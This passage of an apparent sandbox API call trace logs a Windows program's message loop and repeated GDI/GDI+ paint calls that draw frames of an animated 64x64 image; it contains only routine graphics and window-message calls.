y=0, width=64, height=64) returned 0x0 [0117.191] GdipGetDC (graphics=0x1de419c0, hdc=0x15dbf0) returned 0x0 [0117.191] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4301018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0117.191] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.192] GdipReleaseDC (graphics=0x1de419c0, hdc=0x4301018a) returned 0x0 [0117.192] SelectObject (hdc=0x4301018a, h=0x185000f) returned 0x1a05067e [0117.192] DeleteDC (hdc=0x4301018a) returned 1 [0117.192] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.192] GdipDeleteGraphics (graphics=0x1de419c0) returned 0x0 [0117.192] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0117.192] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0117.192] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0117.192] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0117.192] WaitMessage () returned 1 [0117.383] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0117.383] IsWindowUnicode (hWnd=0x2031e) returned 1 [0117.383] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0117.383] TranslateMessage (lpMsg=0x15e910) returned 0 [0117.383] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0117.383] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0117.383] GetCurrentThreadId () returned 0xec0 [0117.383] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0117.384] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0117.384] IsWindowUnicode (hWnd=0x2031e) returned 1 [0117.384] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0117.384] TranslateMessage (lpMsg=0x15e910) returned 0 [0117.384] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0117.384] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0117.384] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0117.384] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4401018a [0117.384] SelectObject (hdc=0x4401018a, h=0x1a05067e) returned 0x185000f [0117.384] GdipCreateFromHDC (hdc=0x4401018a, graphics=0x15daf0) returned 0x0 [0117.384] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0117.384] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0117.384] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0117.385] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0117.385] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0117.385] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff8780 [0117.385] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1aff8780) returned 0x0 [0117.385] LocalFree (hMem=0x1aff8780) returned 0x0 [0117.385] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.386] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0117.386] GdipCreateRegion (region=0x15dc20) returned 0x0 [0117.386] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0117.386] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0117.386] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0117.386] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0117.386] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0117.386] GetSystemMetrics (nIndex=42) returned 0 [0117.386] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e30 [0117.386] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e30, nMaxCount=1 | out: lpString="") returned 0 [0117.386] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e30) returned 0x0 [0117.386] CoTaskMemFree (pv=0x1afd3e30) [0117.386] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0117.387] GdipCreateRegion (region=0x15d710) returned 0x0 [0117.387] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0117.387] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0117.387] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0117.387] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0117.387] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff8780 [0117.387] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff8780) returned 0x0 [0117.390] LocalFree (hMem=0x1aff8780) returned 0x0 [0117.390] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0117.390] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff8780 [0117.391] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff8780) returned 0x0 [0117.391] LocalFree (hMem=0x1aff8780) returned 0x0 [0117.391] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.391] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0117.391] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0117.391] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0117.392] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0117.392] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.392] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0117.392] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0117.392] GetCurrentObject (hdc=0x4401018a, type=0x1) returned 0x1b00017 [0117.392] GetCurrentObject (hdc=0x4401018a, type=0x2) returned 0x1900010 [0117.392] GetCurrentObject (hdc=0x4401018a, type=0x7) returned 0x1a05067e [0117.392] GetCurrentObject (hdc=0x4401018a, type=0x6) returned 0x18a002e [0117.392] SaveDC (hdc=0x4401018a) returned 1 [0117.393] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x21040b8a [0117.393] GetClipRgn (hdc=0x4401018a, hrgn=0x21040b8a) returned 0 [0117.393] SelectClipRgn (hdc=0x4401018a, hrgn=0x510407c3) returned 2 [0117.393] DeleteObject (ho=0x21040b8a) returned 1 [0117.393] DeleteObject (ho=0x510407c3) returned 1 [0117.393] OffsetViewportOrgEx (in: hdc=0x4401018a, x=0, y=0, lppt=0x2716598 | out: lppt=0x2716598) returned 1 [0117.393] GetNearestColor (hdc=0x4401018a, color=0xffffff) returned 0xffffff [0117.394] CreateSolidBrush (color=0xffffff) returned 0x29100190 [0117.394] FillRect (hDC=0x4401018a, lprc=0x15d7c0, hbr=0x29100190) returned 1 [0117.394] DeleteObject (ho=0x29100190) returned 1 [0117.394] RestoreDC (hdc=0x4401018a, nSavedDC=-1) returned 1 [0117.394] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.394] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4401018a) returned 0x0 [0117.394] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd940dbd) returned 0x0 [0117.394] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.394] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0117.394] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0117.394] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0117.394] GetSystemMetrics (nIndex=42) returned 0 [0117.395] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e30 [0117.395] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e30, nMaxCount=1 | out: lpString="") returned 0 [0117.395] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e30) returned 0x0 [0117.395] CoTaskMemFree (pv=0x1afd3e30) [0117.395] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x10) returned 0x0 [0117.397] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0117.398] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0117.398] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0117.398] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0117.398] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4401018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0117.398] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.398] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4401018a) returned 0x0 [0117.398] SelectObject (hdc=0x4401018a, h=0x185000f) returned 0x1a05067e [0117.398] DeleteDC (hdc=0x4401018a) returned 1 [0117.398] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.398] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0117.398] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0117.399] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0117.399] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0117.399] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0117.399] WaitMessage () returned 1 [0117.585] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0117.585] IsWindowUnicode (hWnd=0x2031e) returned 1 [0117.586] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0117.586] TranslateMessage (lpMsg=0x15e910) returned 0 [0117.586] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0117.586] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0117.586] GetCurrentThreadId () returned 0xec0 [0117.586] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0117.586] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0117.586] IsWindowUnicode (hWnd=0x2031e) returned 1 [0117.586] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0117.586] TranslateMessage (lpMsg=0x15e910) returned 0 [0117.586] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0117.587] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0117.587] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0117.587] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4501018a [0117.587] SelectObject (hdc=0x4501018a, h=0x1a05067e) returned 0x185000f [0117.587] GdipCreateFromHDC (hdc=0x4501018a, graphics=0x15daf0) returned 0x0 [0117.588] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0117.588] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0117.588] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0117.588] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0117.588] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0117.588] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff84c0 [0117.588] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1aff84c0) returned 0x0 [0117.589] LocalFree (hMem=0x1aff84c0) returned 0x0 [0117.589] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.589] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0117.589] GdipCreateRegion (region=0x15dc20) returned 0x0 [0117.589] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0117.589] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0117.589] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0117.589] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0117.589] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0117.589] GetSystemMetrics (nIndex=42) returned 0 [0117.589] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e30 [0117.589] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e30, nMaxCount=1 | out: lpString="") returned 0 [0117.590] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e30) returned 0x0 [0117.590] CoTaskMemFree (pv=0x1afd3e30) [0117.590] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0117.590] GdipCreateRegion (region=0x15d710) returned 0x0 [0117.590] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0117.590] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0117.590] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0117.590] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0117.590] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff84c0 [0117.590] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff84c0) returned 0x0 [0117.591] LocalFree (hMem=0x1aff84c0) returned 0x0 [0117.591] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0117.591] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff84c0 [0117.591] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff84c0) returned 0x0 [0117.592] LocalFree (hMem=0x1aff84c0) returned 0x0 [0117.592] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.592] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0117.592] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0117.592] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0117.592] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0117.592] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.592] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0117.592] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0117.592] GetCurrentObject (hdc=0x4501018a, type=0x1) returned 0x1b00017 [0117.592] GetCurrentObject (hdc=0x4501018a, type=0x2) returned 0x1900010 [0117.592] GetCurrentObject (hdc=0x4501018a, type=0x7) returned 0x1a05067e [0117.592] GetCurrentObject (hdc=0x4501018a, type=0x6) returned 0x18a002e [0117.593] SaveDC (hdc=0x4501018a) returned 1 [0117.593] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x520407c3 [0117.593] GetClipRgn (hdc=0x4501018a, hrgn=0x520407c3) returned 0 [0117.593] SelectClipRgn (hdc=0x4501018a, hrgn=0x22040b8a) returned 2 [0117.593] DeleteObject (ho=0x520407c3) returned 1 [0117.593] DeleteObject (ho=0x22040b8a) returned 1 [0117.593] OffsetViewportOrgEx (in: hdc=0x4501018a, x=0, y=0, lppt=0x27178e8 | out: lppt=0x27178e8) returned 1 [0117.593] GetNearestColor (hdc=0x4501018a, color=0xffffff) returned 0xffffff [0117.593] CreateSolidBrush (color=0xffffff) returned 0x2a100190 [0117.593] FillRect (hDC=0x4501018a, lprc=0x15d7c0, hbr=0x2a100190) returned 1 [0117.593] DeleteObject (ho=0x2a100190) returned 1 [0117.593] RestoreDC (hdc=0x4501018a, nSavedDC=-1) returned 1 [0117.594] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.594] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4501018a) returned 0x0 [0117.594] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd920dbd) returned 0x0 [0117.594] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.594] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0117.594] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0117.594] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0117.594] GetSystemMetrics (nIndex=42) returned 0 [0117.594] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e30 [0117.594] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e30, nMaxCount=1 | out: lpString="") returned 0 [0117.594] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e30) returned 0x0 [0117.594] CoTaskMemFree (pv=0x1afd3e30) [0117.594] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0117.594] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0117.594] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0117.595] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0117.595] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4501018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0117.595] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.595] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4501018a) returned 0x0 [0117.595] SelectObject (hdc=0x4501018a, h=0x185000f) returned 0x1a05067e [0117.595] DeleteDC (hdc=0x4501018a) returned 1 [0117.595] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.595] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0117.595] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0117.595] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0117.595] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0117.595] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0117.595] WaitMessage () returned 1 [0117.758] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0117.758] IsWindowUnicode (hWnd=0x2031e) returned 1 [0117.758] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0117.758] TranslateMessage (lpMsg=0x15e910) returned 0 [0117.758] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0117.758] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0117.758] GetCurrentThreadId () returned 0xec0 [0117.758] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0117.758] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0117.758] IsWindowUnicode (hWnd=0x2031e) returned 1 [0117.758] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0117.759] TranslateMessage (lpMsg=0x15e910) returned 0 [0117.759] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0117.759] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0117.759] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0117.759] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4601018a [0117.759] SelectObject (hdc=0x4601018a, h=0x1a05067e) returned 0x185000f [0117.759] GdipCreateFromHDC (hdc=0x4601018a, graphics=0x15daf0) returned 0x0 [0117.759] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0117.760] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0117.760] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0117.760] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0117.760] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0117.760] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff8480 [0117.760] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1aff8480) returned 0x0 [0117.760] LocalFree (hMem=0x1aff8480) returned 0x0 [0117.761] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.761] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0117.761] GdipCreateRegion (region=0x15dc20) returned 0x0 [0117.761] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0117.761] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0117.761] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0117.761] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0117.761] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0117.761] GetSystemMetrics (nIndex=42) returned 0 [0117.761] CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0117.761] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0117.761] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0117.762] CoTaskMemFree (pv=0x4fff10) [0117.762] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0117.762] GdipCreateRegion (region=0x15d710) returned 0x0 [0117.762] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0117.762] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0117.762] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0117.762] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0117.762] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff8480 [0117.762] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff8480) returned 0x0 [0117.763] LocalFree (hMem=0x1aff8480) returned 0x0 [0117.763] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0117.763] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff8480 [0117.763] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff8480) returned 0x0 [0117.763] LocalFree (hMem=0x1aff8480) returned 0x0 [0117.763] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.763] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0117.763] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0117.764] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0117.764] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0117.764] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.764] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0117.764] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0117.764] GetCurrentObject (hdc=0x4601018a, type=0x1) returned 0x1b00017 [0117.764] GetCurrentObject (hdc=0x4601018a, type=0x2) returned 0x1900010 [0117.764] GetCurrentObject (hdc=0x4601018a, type=0x7) returned 0x1a05067e [0117.764] GetCurrentObject (hdc=0x4601018a, type=0x6) returned 0x18a002e [0117.764] SaveDC (hdc=0x4601018a) returned 1 [0117.764] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x23040b8a [0117.765] GetClipRgn (hdc=0x4601018a, hrgn=0x23040b8a) returned 0 [0117.765] SelectClipRgn (hdc=0x4601018a, hrgn=0x530407c3) returned 2 [0117.765] DeleteObject (ho=0x23040b8a) returned 1 [0117.765] DeleteObject (ho=0x530407c3) returned 1 [0117.765] OffsetViewportOrgEx (in: hdc=0x4601018a, x=0, y=0, lppt=0x2718220 | out: lppt=0x2718220) returned 1 [0117.765] GetNearestColor (hdc=0x4601018a, color=0xffffff) returned 0xffffff [0117.765] CreateSolidBrush (color=0xffffff) returned 0x2b100190 [0117.765] FillRect (hDC=0x4601018a, lprc=0x15d7c0, hbr=0x2b100190) returned 1 [0117.765] DeleteObject (ho=0x2b100190) returned 1 [0117.765] RestoreDC (hdc=0x4601018a, nSavedDC=-1) returned 1 [0117.766] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.766] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4601018a) returned 0x0 [0117.766] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd900dbd) returned 0x0 [0117.766] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0117.766] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0117.766] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0117.766] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0117.766] GetSystemMetrics (nIndex=42) returned 0 [0117.766] CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0117.766] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0117.766] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0117.766] CoTaskMemFree (pv=0x4fff10) [0117.766] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x12) returned 0x0 [0117.769] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0117.769] 